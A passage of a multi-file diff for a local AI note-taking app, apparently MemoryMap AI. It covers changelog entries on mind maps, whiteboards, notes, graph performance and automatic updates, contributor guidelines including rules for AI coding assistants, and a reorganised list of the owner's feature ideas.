+- Mind maps: a topic can hold a note. "Add a note…" in the topic's menu opens a box beside it; the note is saved when you close it, and a mark on the topic opens it again. Markdown exports a note as a paragraph under its topic, OPML and FreeMind as `_note`, and all three read it back.
+- Mind maps: View, Number the branches numbers every topic by its place in the outline (1, 1.1, 1.2), as quiet text before its name. It is saved with the map, and the Markdown and OPML exports keep the numbers and read them back.
+- Whiteboard: a connector can carry a label ("yes", "no"). Select it and press Enter, or right-click it and choose Add a label; the label sits at the middle of the line, on the curve when it is bent, follows the line when either end moves, and exports with it. Double-click still bends the line.
+- Mind maps: a connect drag says which connection it will make before you let go. The topic under the pointer gets a solid ring when the release will hang it in the tree, a dashed ring (and a dashed line) when it will be a cross-link, and a screen reader hears which.
+- Mind maps: a topic can be a task. "Make this a task" in the topic's menu puts a box on it; press the box to tick it, and every topic above counts what is done under it ("1/2"). Markdown exports write tasks as `- [ ]` and `- [x]` and read them back; OPML and FreeMind keep them too.
+- Whiteboard: a rectangle, ellipse, diamond or triangle holds text. Double-click it (or select it and press Enter), type, and press Enter; the text sits centred in the shape, wraps to it, and moves, resizes, undoes and exports with it. On a dark fill it turns white. The shape's right-click menu says Add text.
+- Help covers every feature since 0.3.0 (INBOX 448 (1)): 17 new entries in the help the Guide, Chat and the popup agent read (Quick note, saving while the server is away, pictures and files in a note, how a note is filed and what its percentage means, suggested tags, the tag manager, Manage categories, a note's history, sorting notes, view addresses, Bookmarks, Contents, AI skills, Tesseract's language, dates and recent notes in answers, downloading a model, accessibility and zoom) and fourteen widened or corrected (mind map Ctrl+Shift+arrows, Enter and Shift+Enter, Ctrl+D and 100 undo steps; the notes filter's #tag, title:, before:, after:, in: and is:draft; source marks and Escape in Chat; Add to calendar; Background jobs' last-run lines; Draft with Atlas; hashtags; density Auto; the privacy receipt; deleting a space; locking puts dialogs away; the Settings groups; the Bookmarks sub-tab), 95 in all; of 52 features in `tests/test_help_coverage.py`, 4 reached their help from the question a person asks, now 52. Settings, Help lists all 95 in twelve groups from `GET /help/topics` instead of 13 hand-copied topics that still taught "g then a letter", and the Settings search finds a topic by its words ("percentage", "alt+n", "bookmarks"), settings first, a press opening the topic.
+- Notes keep the tags filing suggested: each shows on the card as "+ tag", one press to add it, its × to stop suggesting it. With no AI they come from your own tags on the notes most like it.
+- A note's card shows how sure the filing was (for example "83%") beside its category, and says whether Atlas or your notebook's words filed it.
+- Notes: a category chip moves its note in one click (also Move to category in a note's menu); a tag chip shows that tag's notes; the filter box takes #tag, title:, before:, after:, in: and is:draft.
+- Notes: Recently edited sort, a title field when editing, Copy [[link]] in a note's menu, and Home, End, Delete and F2 on a focused note.
+- Notes sidebar: a Tags row opens every tag with its count; choose one to see its notes, or rename or remove it everywhere, with Undo.
+- Category rename and merge can be undone, and deleting a category always offers to keep its notes in Uncategorised.
+- Selected notes can be added to or removed from Favourites, archived, published (drafts) or have a tag removed, from the selection bar's ⋯, each undoable.
+- Settings, Templates: Draft with Atlas writes a template from its name and one line, and pressing it again gives another version; nothing is saved until you add it.
+- Graph: each category's notes gather in a place of their own, and notes with no links sit with their category rather than in a ring round the map (View, Group by category).
+- A Library card, a board card and a Documents row are no longer a button holding buttons: the title is the control that opens them, so a screen reader reaches the tick and the menu as themselves. A click anywhere on the card still opens it.
+- A Settings group's '?' is no longer inside the group's heading, so a screen reader reaches it as its own button; it is drawn where it was, and pressing it still opens a closed group.
+- The Manage categories list no longer puts each row's menu button inside the row a screen reader selects: the rows are a grid, the menu is its own cell (Right reaches it, Left comes back), and every key and click works as before.
+### Changed
+
+- Boot budgets: the whiteboard rules only the Library bundle draws (30 KB of CSS) moved from the boot sheet into `library-lazy.css`, the status bar's slot list and its Settings rows into `settings-controls.js`, and the `openTour` guards and four documents.js globals folded away; boot CSS 183,375 to 179,885 gzipped, app scripts 320,436 to 319,757, guards 280 to 277, top-level lets 706 to 702. Measured identical on 3,400 drawn elements by `scratchpad/ui-sweeps/cssdiff-lazy.js`.
+- Documents and notes: while the line numbers show, the line the caret is on is lightly washed (the hover veil, readable in light and dark); with the numbers off nothing is highlighted (INBOX 651; activeline.js: wash 0.07 light and 0.09 dark, ink 14.9:1 and 10.7:1 over it).
+- Editors: copy and cut with nothing selected take the whole line, as VS Code does; the clipboard gets the line with its newline, pasting that line puts it above the one you are on, and cutting the last line takes the newline before it (INBOX 652; linecopy.js, 7 checks in the documents editor and in the capture box).
+- Chat, Ask, the popup agent and the Guide: the line under an answer in progress now says what is happening, in one set of words: Reaching Atlas while it waits for the first word, Reading your notes while it searches, Waking the model when a model is slow to load, Atlas is thinking, Atlas is writing, and Atlas is followed by the tool's action when it uses one (a persona's name replaces Atlas); with progress indicators set to Still it is the same words as a single pulsing line (INBOX 649; phases.js: 7 stages, motion on and off).
+- Notes: the "Write with Atlas" sub-tab is now the Writing room, a name that still fits with no AI model set up; its Settings, Models row, the help, the Guide and the tour say the same, and asking the Guide about "write with atlas" still finds it (INBOX 648).
+- Tour: between 641 and 819px wide the Settings steps now point at the section picker instead of three strip buttons that are hidden there, so the count matches the cards shown; walked at 600 to 1100 and on an empty notebook.
+- Gate: scripts/gate.sh --sweeps no longer names fifteen sweeps whose files were deleted (each could only fail); a test keeps the list and the folder in step.
+- Sweeps: lib.js gains openBoardsTab and waitForBoardOpen (the Boards sub-tab picked and the board code waited for, not a Library press and a sleep); seven board sweeps use them, two of which used to time out.
+- Sweeps: bm1005-sidebar.js measures the whiteboard rail's Notes tab skeletons (5 at 300ms, 264 notes after) as well as the Library's; both were already built.
+- OCR workspace on a phone: the page-size track (Fit, 100%) grows round its 44px buttons instead of leaving them 12px past a 32px track; wbtopbar.js seeds a scanned image and measures the head at 1440 and 390.
+- Sweeps: phonechrome.js asserts, at any WIDTH and HEIGHT, that every tab's page ends where the status bar (or the phone tab dock) begins; measured at nine widths from 600 to 1093, nothing overlaps.
+- Timeline on a phone: the calendar strip's spacing steps down a token so the list begins at 336px of 844, inside the first-screen rule; phonechrome.js probes the status bar with the three things the phone bar shows (a job, offline, power saver) and asserts the agent's activity leaves it folded away.
+- Graph: the map's sizes (how central each note is) are worked out from the links' plain columns rather than by loading every link in full, so the first open of the map after a change at 5,000 notes went from about 1.2 s to about 0.7 s (GRAPH_PLAN).
+- Graph: the first open of the map after a change is faster at notebook scale; the map's data was being passed through a generic converter that walked every value only to hand it back unchanged. At 5,000 notes the first build after a write went from about 1.5 s to about 1.2 s, and the next one from about 0.7 to 0.5 s (GRAPH_PLAN).
+- Mind maps: a topic's menu (and the command palette) has Summarise this branch. A few sentences about everything under the topic go into its note, open for you to read, change or keep; with no model running the branch is said plainly from its own topics, and says so.
+- Mind maps: Alt+1 to Alt+9 show that many levels of the whole map, folding everything deeper (Alt+1 leaves the trunks alone), so a large map reads as its outline in one press and opens a level at a time. Also in the command palette, the topic menu and the keys sheet; one Undo puts it back.
+- Boards: the sidebar's Library shows loading placeholders the first time it opens instead of an empty panel while its shapes and templates arrive, and the Notes tab does the same before your notes have loaded (INBOX 596).
+- Chat: the row of buttons that shows when you point at a message (copy, edit, delete) now hangs over its own message's bottom edge instead of below it, so at narrower windows it no longer lies over the start of the answer under a question (7 to 13px across it from 640 to 820px wide, now clear by 1px).
+- Graph: the map reads a slimmer payload. A note's fields at their usual value (no pin, no type, no parent, not pinned, no file, no tags) and an unexplained link's empty reason are left out and filled back in the page, times are to the second: at 5,000 notes the map's read went from 3,145 KB to 1,767 KB, and a rebuild after the first one from about 1.0 to 1.5 s to about 0.7 s. The dashboard reads the same slim payload, so one build after a change serves both (GRAPH_PLAN, a slimmer node).
+- Development: the badge alignment sweep measures an icon against its words' cap-height centre, the label recipe's one target (DESIGN.md), not the x-height band it used before, which read correctly aligned chips 1.5px high; the older status bar ink sweep it replaced is retired (INBOX 503, 592).
+- Boards and maps: the tools docked at the side are one column of one width on a board and a map (176px; 173 and 225 before, where the map's layout picker set it), every row four cells in the same four columns so the tools line up like a palette, the layout picker a row of its own; on a phone the tools are always the bottom strip, so the open sidebar no longer covers the tool picker, and the switch to dock at the side is not shown there (INBOX 596).
+- Atlas: the tail never holds still while idle. Each behaviour it takes up varies its swing, speed and curl a little, a small ripple swings it nearly as one on a clock of its own, and it draws out and back along its length a few percent, so its tip goes round a small loop the other waves cannot cancel; a slow frame no longer slows it. Measured stepped at 60 frames a second over 60 seconds, the tip's longest spell within 0.75px went from 1,100ms to 400ms (masculine) and 650 to 150ms (feminine); in real time at 8 to 11 frames a second, 588 and 474ms (INBOX 601).
+- The dashboard's widgets appear together once they have drawn, on every visit, instead of moving about for a second as each one filled in (a layout shift of 0.26 on a notebook of 300 notes); the opening waits for them too, 1.2 seconds at most. Stylesheet rules for ten classes nothing in the app uses any more (an old Library activity view and stat row, a whiteboard sidebar, the reminders' old list bar, the graph's old toolbar groups, two background-art drifts) are gone, which keeps the boot stylesheets under their budget (INBOX 577, 580).
+- Code layout: the frontend's scripts live in `frontend/js/` (50 files, beside `css/` and `vendor/`), not loose in `frontend/`. `sw.js` stays at the frontend root, because a service worker only controls pages under its own path. Nothing about the app changes; the script URLs are `/js/<name>.js`, a test checks that every script path in `index.html`, the lazy loader and the workers resolves to a real file.
+### Changed
+
+- Models: Suggested downloads are cards grouped by purpose (chat and filing, bigger machines, search, images, reading text). Each says its size on disk, the memory it asks for, what it is good at and whether it fits this computer; one starting pick per group; Download, Use for chat and the like as the one action, Remove and Copy name in a menu, and progress with Cancel on the card. Download another model takes an Ollama name or a Hugging Face link and says what it is before it downloads. A switch hides the ones too big for this computer.
+- Settings: searching a word lists the settings that match (the setting's own words, the section and group it is in) and a press opens it and rings it; a long section has a sticky index of its groups with the one you are at marked; choosing a section from the keyboard puts the focus on its heading, and the arrow keys still walk the list. The Models group heads are shortened to their names, with the detail in one line beneath.
+- Settings: the sections sit in six groups (AI, Notebook, Look and feel, Privacy and security, System, Help and About). Search and index is its own section, holding the search engine and the search index from Models and Search relevance from General; the answer style moved from General to Personas. A link that names a setting opens the section that holds it now.
+- The masculine Atlas's lower body is one thick wisp curving in an S from the full width of his hips to a soft curled tip, with two smaller wisps branching off it at different heights, all one smooth shape with no seams, in place of five straight spikes.
+- Files attached to a note are one card everywhere (the note, its edit form, Capture, a document, the graph and the timeline): the picture or a tinted kind icon, the whole name on up to two lines, and the kind, size and date. Click the card to open the file; its ⋯ menu has Open, Download, Rename, Describe with AI, Edit description, Annotate a copy, Copy as a link and Remove. Removing a file from a note's text can be undone, and its upload is only deleted once nothing else uses it.
+- One "working" mark across the app: the same ring, 1.15 times the text beside it, 2px stroke, turning once every 0.9s in the accent's text colour, on a note's "Atlas is reading…" and "Filing…", the agent palette and its steps, the activity panel, the tension review, a long job's toast, the Library's readings and every button that waits (which now also says so with the ring and cannot be pressed twice). Before, the same state was a ring, a spinning icon at two speeds, a pulsing word that never moved, the chat's reply dots, or a still icon. With reduced motion the ring breathes instead of turning, and "…" is always the one-character ellipsis.
+### Added
+
+- A double-click on Notes or Library in the top bar goes back to its first sub-tab (INBOX 659).
+- A category's colour can be chosen: in Manage categories (and a category's ⋯ menu in the sidebar), Colour opens twelve swatches that each read as a dot in light and dark, plus Automatic to go back to the name-based colour. The choice shows at once on the category's dots and chips, its graph nodes and legend, the timeline and the dashboard, and is kept with the category through a rename.
+- Speed: the reference chips on the note cards (asked for at every unlock) are read for a whole page of notes at once instead of four database queries per note, so sixty cards cost 6 statements rather than 242 and about a third of the time on 500 notes (172 to 53 ms), and 5.8 times less on 5,000 notes (2,267 to 388 ms, same machine and load); what they count is unchanged.
+- Speed: the dashboard's activity strip and heatmap read each recent note's day as a column instead of loading every note whole, text included; on 5,000 notes made within the year the heatmap went from 179 to 24 ms and the stats from 184 to 55 ms (same machine, interleaved runs).
+- Speed: the Library's Files & Images list (and the pickers that offer your uploads) works out where each file is used by asking the database for the notes, documents and board objects that mention `/media/` instead of loading every one; on 5,000 notes 140 ms became 9 ms (same machine, interleaved runs), with the same answers.
+- Speed: the first click of a session (the unlock) no longer waits for the reminder chime's audio device to open; it is made just after, when the browser is idle. The click's handlers went from 44 to 56 ms (the longest script on the lock screen) to under 1 ms in headless Chromium, and the chime still works (the context is running afterwards).
+- Speed: the foreign keys a note is looked up by now have indexes (a note's replies, the boards it is on and a board's cards and sketches, its reminders and bookmarks), added to existing notebooks at startup like the others. 900 lookups by them took 604 ms unindexed and 2.9 ms indexed on 5,000 notes with 4,000 board cards and 1,500 reminders; opening a note's connections or deleting one is within noise at that size, so this matters for big boards rather than ordinary use.
+### Fixed
+
+- Filing with no model: a note whose own category wins its words' vote by a clear lead (twice the next) is filed there, even when a shared word like "oil" splits the vote; before, an obvious cooking note stayed Uncategorised. Measured on the leave-one-out set: 17% filed (was 15%), 71% of those right (was 67%).
+- Phone header: at 360 wide with Text size Large and Density Spacious the shell was 368px wide and every tab scrolled sideways by 8px; the header's targets stay 44px in Large text and below 360 its padding and gaps step down, so the page no longer scrolls sideways at 320, 360 and 390 in any text size or density.
+- Phone action sheets (a ⋯ at 390) leave with the same short fade the menus have on Escape, on a press outside and on a row, instead of vanishing in one frame; nothing animates when Interface animations is set to reduced.
+- Mind maps: a topic's resize grip, link and reference doors now use the topic as it is now; after the map had refreshed, a plain drag of the grip put a cleared text size back and saved the older copy of the topic.
+- Mind maps: the left rail shows This map and Outline however the map was opened; from the board picker or straight after New board it kept a whiteboard's Notes, Layers and Pages, which only went back to Library (INBOX 657).
+- Mind maps: dragging a line's curve is undone by Ctrl+Z; the undo step used to hold the new curve (INBOX 658).
+- Timeline: the table's header row and the feed's date headers are opaque again when the list scrolls under them; their base layer had never painted, so rows showed through the labels (INBOX 655).
+- Agent activity no longer opens over the page at every launch for the app's own start-up work (loading the search model, rebuilding the index, starting the local search engine, image captions and page reads) or for downloads started in Settings; they stay listed under the status bar's activity item, and a failure is still announced (INBOX 653).
+- Whiteboard: turning a card, a box or a selection now carries the links touching it round with it as it turns; before, a link stayed on the unturned box until the item was next moved (INBOX 647).
+- Boards and maps: dragging a selection box, an item or a branch to the edge of the canvas pans the board to follow, faster the deeper into the edge, and the item stays under the pointer (INBOX 608).
+- Graph: Mind map on the selection bar builds the map from the notes' links: the picked or most connected note in the middle, linked notes under the note they link to, the rest grouped by category, no topic left with more than eight children, and every other link kept as a cross-link, laid out on both sides. Its notice and its bell row have Open (INBOX 607).
+- Boards and maps: the board's sidebar. With the tools docked at the side it stands beside them instead of over them, and is the same height on a board and a map; the Library's ⋯ menu hangs from its button's right edge; a map's rail has This map (what the map is made of, its look, Open every folded branch, Lay the map out again) and the Outline in place of Notes, Layers and Pages; and the Library starts with Templates, five for a board (Kanban with cards, a retrospective, a flowchart loop, meeting notes, a week plan) and seven for a map (Brainstorm, Decision, Project, Cause and effect, Pros and cons, Book notes, Meeting), placed by a click or dragged to where they go, a map's under the topic they are dropped on (INBOX 596).
+- Mind maps: several topics picked at once (a box dragged round them, or Shift-click) are a map selection, not a board one. No group box with resize and rotate grips; the bar has colour, bold, tasks, fold and summarise for all of them, each one undo step; the right-click menu has the same in words (INBOX 617).
+- Mind maps: a selected topic's bar has the text size on it (S, M, L, XL, one press), and every choice in its Text, Shape and Branch line panels is a row of buttons rather than a list inside a menu, so nothing takes more than two presses. The two small grips above a topic's corner are one square on its bottom right corner that resizes it like a card; Shift while dragging scales its text with it (INBOX 610).
+- Mind maps: a long branch is a smooth curve at every zoom; its two sides are drawn as a spline through more samples instead of straight pieces that showed their corners (INBOX 609).
+- Improve writing: Start and Use the suggestion are 44px under touch like every other dialog foot (they were held at 32 by their own height rule; `improvefoot.js`, 0 findings at 390 and 1440, light and dark). The background art's unused CSS-style rules (the mesh and bubbles, canvas styles since) are gone, 370 bytes of boot CSS.
+- Help audit (2026-10-05): the Guide, the help popovers, the README and a few messages named places the UI had renamed, and now say what the UI says. Settings, Shortcuts is Keyboard shortcuts, Settings, Tools is Tools it can use, Settings, Extras is Packages, the model bench switch is under What it learned, the search engine is under Search and index in the README, and Account & security is spelled as the nav spells it; the Library's sub-tab is Boards & maps (the Guide said Whiteboards and Boards and maps), Files & Images is two sub-tabs, Images and Files, and Write with Atlas has Split into notes where the Guide named an Extract notes button and a Writing Room sub-tab the Notes tab does not have. The autonomous background AI entry's badge opened Profile and now opens Background tasks. tests/test_help_settings_paths.py pins every "Settings, A, B" path in the Guide, the README and the app's own messages to the nav and panes in index.html, so a rename fails the build; scratchpad/ui-sweeps/helpaudit.js opens all 21 panes and 80 paths in a browser.
+- Graph: the map stays framed when a panel opens or closes beside it (INBOX 613).
+- Appearance: the generative background stays off when it is switched off; the power saver, a theme change or the tour could draw it anyway (INBOX 611).
+- Ask: a sentence drawn from a picture's caption gets its note's number, so a note that is one word and a sketch is cited too (INBOX 604).
+- Notes: the Ask sub-tab is as wide as a tab should be (INBOX 605); Customise can reset the Quick access highlights alone (INBOX 603).
+- Start-up: a session left over from before the app restarted goes straight to the lock screen, instead of drawing the dashboard with every widget failing first (INBOX 597).
+- Ask: the model is shown each note's tags and attached files (with their captions), so a note that is one word and a sketch is no longer passed over as too vague (INBOX 594).
+- Ask: the last answer's "Only 2 of 6 sentences" notice goes when you ask again, rather than sitting over the next answer's thinking (INBOX 593).
+- Graph: tree, radial and arc no longer throw when a reply is listed before the note it answers, so switching layout works again (INBOX 579); a reply loop hangs off its category instead of hanging the layout.
+- Chat: the agent's step circles sit exactly on the rail's line (INBOX 588).
+- Documents: printing a document, or saving it as PDF, gave one blank page; the print rule hid the part of the window the document page now sits in. A long document prints on as many pages as it needs again.
+- Documents: at 1024 wide the sidebar's Outline tab no longer runs under the collapse button; a narrow sidebar puts its two tabs on their own row under it.
+- Exports: the writing dictionary's Export saves in the desktop window too (it used a browser-only download that the desktop window ignores); every download goes through one helper.
+- Chat: a document imported through the paperclip lands in the space that is open, not the default space. Every upload that sets its own headers (the chat, the Library, documents, the whiteboard, media, Settings) now sends the space with the token through one helper, and a lint fails on a header object that drops it.
+- Graph: a note's size in focus mode and the Local map is the whole map's (its PageRank), whichever view was opened first; before, the two shared one cached ranking of two different graphs (drafts and boards in one, not the other), so sizes depended on the order, and turning Maps on kept the ranking without boards. The graph also loads about four times faster when warm at 5,000 notes (3.3 to 4.1 s down to 0.7 to 1.0 s in process), reading columns rather than whole notes (GRAPH_PLAN, decision 2026-10-05).
+- The chat list's sort select is as wide as its words (144px) rather than the whole sidebar column (266px).

It now finds a real Python on the system and uses that; if none is found, it says so plainly instead of failing mysteriously. The same fix was needed, and applied, to the SearXNG (private web search) setup process for the same reason.
 
-### Fixed — a missing search-engine component in the packaged build
+### Fixed: a missing search-engine component in the packaged build
 
 The packaged Windows app was missing four internal files needed for the optional local web-search engine (SearXNG) to install itself, producing a "module not found" error for anyone who tried. Fixed, and guarded against happening again for any future addition to that engine.

+### Added: automatic updates for the packaged Windows app
 
-Settings → About can now download and install a new release itself — no more being sent back through a browser to redownload and re-run the installer by hand. A popup after login offers it the moment a real release is found (once per version, not every login); Settings → About has the same "Update automatically" action as a manual fallback. Two new, separate switches: whether the app may check GitHub for a release at all, and whether it may apply one automatically once found — turning either off is respected everywhere, including the popup. A "choose a specific version" picker lists recent releases directly in Settings, and a "track the main branch" channel option is now a real, storable preference (main-branch tracking itself still reports honestly as not yet available — no nightly-build pipeline exists yet to make good on it). Every step — checking, downloading, and applying — degrades cleanly when offline or blocked by a firewall/antivirus, and a failed attempt can always be retried, either from the next login's popup or by hand in Settings. Source checkouts (`start.sh`/`start.bat`) already auto-update on every launch via `git pull`; they now default to tracking main (since that's what they're actually doing) and show their own "you were just updated" popup after a real update, using the same mechanism.

 ## Writing code that fits in
 
-- Match the style of the file you're editing: naming, comment density,
-  idioms. The codebase favours short explanatory comments that say
-  *why*, not *what*.
-- New behaviour needs a test. Copy an existing `tests/test_*.py` and
-  reuse the AI fakes in `tests/fakes.py` / `tests/conftest.py`, never
-  call real Ollama.
-- If you touch the architecture (new module, new table, new data flow),
-  update `docs/ARCHITECTURE.md` in the same PR.
-- Add a bullet to `CHANGELOG.md` under "Unreleased".
+- Match the style of the file you are editing: naming, comment density, idioms.
+  The codebase favours short comments that say *why*, not *what*.
+- New behaviour needs a test. Copy an existing `tests/test_*.py` and reuse the AI
+  fakes in `tests/fakes.py` and `tests/conftest.py`. Never call a real model.
+- The frontend has no build step. Scripts live in `frontend/js/` and share one
+  global scope, loaded in the order `frontend/index.html` lists them; `app.js` is
+  the head of that list, not the whole app. Run `node --check` on each file you
+  edit, and use `grep -n "^function name" frontend/js/*.js` to find a function.
+- New interface comes from the recipe index in
+  [`docs/DESIGN.md`](docs/DESIGN.md): a menu, a bar, help text and a surface each
+  have a recipe, and spacing and corners are tokens. A need the index does not
+  cover gets its recipe and its lint in the same commit as the feature.
+- Help moves with the UI. A change that adds, moves, renames or removes a control
+  updates every help surface that names it: the `data-help-for` popovers, Settings
+  and the guide's topics (`ai/help_chat.py`, `ai/help_topics_more.py`).

+- Add a bullet to `CHANGELOG.md` under "Unreleased", and copy the file to

+  `tests/test_docs_site.py` checks it. The same goes for `CONTRIBUTING.md` and
+  `SECURITY.md`, which are mirrored into `docs/` for the documentation site.
+- A tool, a skill or a version bump changes numbers the README states (the tool
+  and skill counts, the version, the optional packages), and
+  `tests/test_readme_freshness.py` fails until the README says the same.
 
 ## Working with an AI assistant
 
-AI coding tools are welcome here, but this codebase is mature (most
-obvious features already exist), and the common failure mode is an
-assistant "adding" something that's already there and gutting the
-working version in the process. Three rules keep that from happening:
-
-- **Reconcile before building.** Search for the feature first. If it
-  exists, extend it, don't reimplement it. (Snooze, chat export,
-  theming, the command palette, the skills bar and much more are
-  already built.)
-- **Additive only.** Extend functions rather than replacing them, and
-  never delete a feature, widget, or CSS rule to make room for a new
-  one without asking. `frontend/app.js` is one large script: make
-  small, targeted edits.
-- **One feature per commit.** After each commit, `git diff --stat`
-  should list only the files that feature touches. An unexpectedly wide
-  diff is the early warning sign of a regression.

 # Ideas parking lot
 
-Good ideas that are **out of scope right now** get written here instead of
-built (build plan §0: never expand scope mid-phase).
-
-- Update the readme and gh pages site to have up to date information.
-- I wrote "ai is cool" as a note and it was filed under sketches??
-- Expand and improve sketches board. Maybe a whiteboard tab??
-- Handle image and file uploads! + drag and drop features
-- Manually group notes together (this will be separate from the main sorting)
-- A note should be able to have multiple categories
-- A guided setup on first install (like setting your name, choosing a model if one isn't yet downloaded, a tour, making the first note etc)
-- Data and note compression (compress and store notes??)
-- Better agentic web search through chat
-- A mini bar at the bottom with various statuses and quick access to the command palatte
-- Allow for saving of custom appearances and themes. 
-- ~~Make notebook constelation regenerate on light/dark theme change.~~ **fixed** — it read light-or-dark once when built, and only the *background* art was rebuilt on a toggle. Now rebuilt on every mode, accent and palette change, keeping the same arrangement (a recolour, not a reshuffle).
-- Gravity and spread don't affect the othe rgraph configurations
-- A visual timeline like a branching line with off shoots
-- Better documents ui and utility/usability
-- Settings pages cant be accesses on narrow mobile view (check for other similar issues)
-- Clean up timeline and graph ui and fix spacing within the window
-- No MD renering in some of the widgets on the dashboard. 
-- More dashboard widgets! maybe some pi graphs??
-- ~~Chat message metadata disappears on reload or restart of app.~~ **fixed** — the whole stats block is stored per turn now, not just the token sum, so the line rebuilds on reopen. The token tracking half is also done: every message says how full the model's window got, and marks an estimate as one. What is left of this line is "better chat utility and learnability".
-- Need more tools for things (e.g. managing (creating, editing, deleting, and applying categories, and other things as well.)), more agentic capabilities and better handling and agentic workflow with said tools.
-- The Notes and documents are like a merge of onenote, obsidian, and notion. Improve the documents feature and expand/improve on the connectedness between the two features, they should basically be two halves of a whole.
-- An agent ask for permission dialogue in the chat and documents, document and note edit suggestions + before and after comparison before change?? maybe allow the agent to be accessed from anywhere in the program?? Allow the agent to control your screen within the application to navigate and make changes (with the user able to cancel it at any time - can have a cool animated border animation), these would also show in the logs and background processes.
-- Can select a quick, normal (maybe a different word), detailed/thought/expert or smth for agent and chats so basically the program will modify how it uses the ai to make it very fast for quick responses or smth, to be normal, to be detailed and have attention to detail and to make sure everything is accurate, or agent mode. The user might also be able to assign specific ai models to these modes or they can be automaticlaly selected. maybe on the quick response thinking is disabled and some system shenanigans can happen to make the response as accurate and fast as possible?? 
-- In built browser with mcp tool abilities to accompany the web search??
-- Full security sweep and analysis. Must be fully private, hack proof, and secure. user data must not be accessible, leaked or shown and web browsing should be as private, secure, and untrackable as possible. 
-- VS Code Extension??
-- Make memorymap-ai cross-platform and compatible with linux and if possible mac as well. 
-- Improve the console in settings, make sure all console messages are shown. 
-- Improve or expand on start.bat?? dont make a cmd prompt window show but make it accessible (maybe it can be accessible in the system tray if possible??)
-- Add a way to exit the app and close the program quitting the backend. Make the whole process for set up, fixes, updates etc and everything automated with the bat files
-- An interface for managing the application like for the backend, cmd prompt console, quit, update, install/fix/uninstall/reinstall packages and dependencies, faster-whistper, and more etc, close the application, restart the application, application health check, errors etc. (this will probably be a separate file - will ba accessible through system tray, a button in the main program and other ways I might not have thought of yet I want to make the experience for using the application as hands-off as possible).
-- A way to run the application on a mobile device like my iphone
-- Does the X status for the ai status in the top bar ever happen?? Ive never seen it...
-- The help area in settings has an ask ai feature where the ai has access to all the program documentation and can help answer your questions. 
-- A way to reduce token usage in all ai interactions to make them more efficient and usable??
-- Streamline, enhance, and optimise the processes of the backend and all ai interactions.
-- Gravity and Spread have no affect on other graph views
-- Package application, improve settings model page and functionality
-- Improve/expand on start.bat and similar files. maybe a background cli to manage the app or a developers console  for management in settings??
-- Dynamically change models based on complexity of task and compatibility?? Optional??
-- Collapsible sidebars
-- If possible, introduce a slight ai nudge for the semantic notes search, so if I ask “what notes did I save in the last two days” or “what note did I save on {this specific day}” or smth more specific that may make the semantic search less accurate with its retrievals more accurate.
-- Reduce the cap on semantic search outputs (is there a cap??) - maybe change how the cap works?? Potentially based on length and ai context length
-- Optimise outputs and how app features work based off what the currently used ai model can use
-- More skills and a way to generate new skills (I at least want a skill that can do a full audit and clean up of my notebook, such as linking notes, removing inaccurate links, analysing categores and tags, retagging notes, adding tags to notes, removing inaccurate tags from notes, changing categories (add/remove/rename categories), move notes around, combine notes to declutter etc.)
-- Different ways to sort chats (maybe group chats as well??) - could add an agent tool and skill for managing that as well
-- Have the agent able to control everything in the applicion, where the user can show a popup chat bar that can be moved around the screen or can anchor to the edges of the screen. agent workflow can show in a popup side chat like a twitch screen if automated things are happening in the background (remember all tasks are shown and logged in the background tasks page in settings), or in a collapsible side or bottom bar console or smth similar.

-## Delivered by the §40 branch — check before rebuilding
-
-Five long-standing items on this list arrived with the `fix/Antigravity-Audit`
-work and are now in the app. Left written here rather than deleted, because the
-*wording* below is what a future session will search for:
-
-- **"More skills and a way to generate new skills … a skill that can do a full
-  audit and clean up of my notebook, such as linking notes … retagging notes"**
-  → the background librarian (ROADMAP §39A). Runs on an interval, tags, links
-  and flags duplicates, off by default. It does **not** yet do the category
-  work in that sentence (rename/merge/move), which is the natural next step.
-- **"Have the agent able to control everything … a popup chat bar … agent
-  workflow can show in a popup side chat like a twitch screen"** → the command
-  palette (`Ctrl`/`Cmd`+`K`) and the agent activity monitor. The monitor is
-  fixed bottom-right rather than movable or dockable, so the "move it around
-  the screen or anchor it to an edge" half is still open.
-- **"Reduce the cap on semantic search outputs … maybe based on … ai context
-  length"** → `search_notes` now scales its *default* result count with the
-  model's real context window. The **ceiling** deliberately does not scale:
-  letting it do so meant a 128k model could pull 768 note previews into one
-  tool result, which is how that was first written.
-- **"Dynamically change models based on complexity of task"** → partly, as
-  `smart_model_routing_enabled`: background work uses the utility model so it
-  does not tie up the chat model. Routing by *complexity* rather than by
-  caller is still open.
-- **"Collapsible sidebars"** → done.
-
-## New from the §40 audit
-
-- **A dry-run for the background librarian.** It edits notes unattended and
-  there is no way to see what it *would* do first. `taskhistory` already
-  records each run; what is missing is "here is the diff, apply or discard".
-- ~~**A memory-stream screen.**~~ **Built** — Settings → The AI → *What it
-  remembers*. It lists everything the AI has saved, says how much of it is
-  actually reaching the model, and lets each one be edited, switched off or
-  forgotten.
-- ~~**Whiteboard cards should die with their note.**~~ **Done** — swept with
-  the orphaned vectors on the background pass.
-- **Sweep for orphans on a schedule, not just vectors.** `clean_orphaned_
-  vectors` is the right pattern; whiteboard nodes and attachments want it too.
+Good ideas that are **out of scope right now** are written here instead of
+built (build plan section 0: never expand scope mid-phase). The list is the
+owner's own, tidied on 2026-10-05: grouped, spelling fixed, and checked against
+the app.
+
+**Check the app before building anything here.** Most of this list has been built
+since it was written, and the common mistake in this project is rebuilding
+something that exists (CLAUDE.md, section 1). The built items stay, with where
+they live, because their wording is what a future session will search for.

+- [Partly built](#partly-built)
+- [Still open](#still-open)

+
+## Built
+
+**Capture and the shell**
+
+- Handle image and file uploads, with drag and drop: attachments, the Library's
+  Images and Files views, captions, vision reads, Tesseract text and the OCR
+  workspace.
+- A guided setup on first install: the welcome card and the guided tour (Settings,
+  Help), which walks through the real controls.
+- A mini bar at the bottom with statuses and quick access to the command palette:
+  the status bar at the foot of the window, and the palette on `Ctrl`/`Cmd`+`K`.
+- Allow saving custom appearances and themes: thirteen themes and saved looks, in
+  Settings, Appearance.
+- Collapsible sidebars.
+- Make MemoryMap AI cross-platform: a Windows installer and a Linux package, and
+  macOS from source.
+- Package the application, and improve the Settings models page: the installers,
+  and Settings, Models with fit badges and a model per feature.
+- Improve start.bat: no console window to keep open, and a tray icon. The launcher
+  has `--doctor`, `--logs` and `--shortcut`, and the desktop window has a tray menu
+  with Open, View logs, Restart and Quit.
+- A way to exit the app and quit the backend: Quit in the header, and Settings,
+  Background tasks.
+- An interface for managing the application (backend, console, update, packages,
+  restart, health): Settings, Background tasks, Packages, Logs and About.
+- Improve the console in settings and show all console messages: Settings, Logs.
+- A way to run the application on a phone: a layout built for the phone, the
